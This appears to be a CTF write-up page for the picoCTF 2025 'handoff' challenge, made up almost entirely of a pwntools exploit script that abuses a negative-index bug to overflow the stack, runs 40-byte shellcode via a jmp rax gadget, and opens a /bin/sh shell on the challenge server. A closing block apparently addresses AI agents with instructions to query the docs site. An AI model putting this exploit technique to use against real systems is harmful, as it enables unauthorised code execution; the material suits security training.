# handoff

## Solution

```python
#!/usr/bin/env python3

from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./handoff_patched")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b vuln
b *0x4013d0
b *0x4013ac
c
"""

def conn():
    if args.REMOTE:
        r = remote("shape-facility.picoctf.net", 62313)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()

    # a random readable writable address for "/bin/sh\0"
    binsh = 0x404048

    # gadget from God
    jmp_rax = 0x4011ae

    # shellcode (I made it only 40 bytes long!)
    #     read(stdin, binsh, 8);
    #     execve(binsh, NULL, NULL);
    shellcode = asm(f"""
                    xor rdi, rdi;
                    mov rsi, {binsh};
                    mov rdx, 8;
                    xor rax, rax;
                    syscall;
                    mov rdi, rsi;
                    xor rsi, rsi;
                    xor rdx, rdx;
                    mov rax, 59;
                    syscall;
                    """)

    # Send a message to a recipient
    r.sendlineafter(b'Exit the app', b'2')

    # negative index bug, unpredictable things will happen if the index is negative
    # fgets will buffer overflow its own stack
    r.sendlineafter(b'send a message to?', b'-1')

    # write shellcode on stack and execute 
    # rax will be pointing at first byte of the payload
    # (the shellcode must be less than or equal to 40 bytes)
    payload = shellcode + p64(jmp_rax)

    # send the payload
    r.sendlineafter(b'like to send them?', payload)

    # SYS_read is invoked. write /bin/sh on 0x404048
    r.sendline(b'/bin/sh\0')

    # SYS_execve is invoked and enjoy the shell privilege
    r.interactive()
    
    

if __name__ == "__main__":
    main()

```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://trees-daily-journal.gitbook.io/trees-daily-journal/ctf-writeups/picoctf/binary-exploitation/picoctf-2025/handoff.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
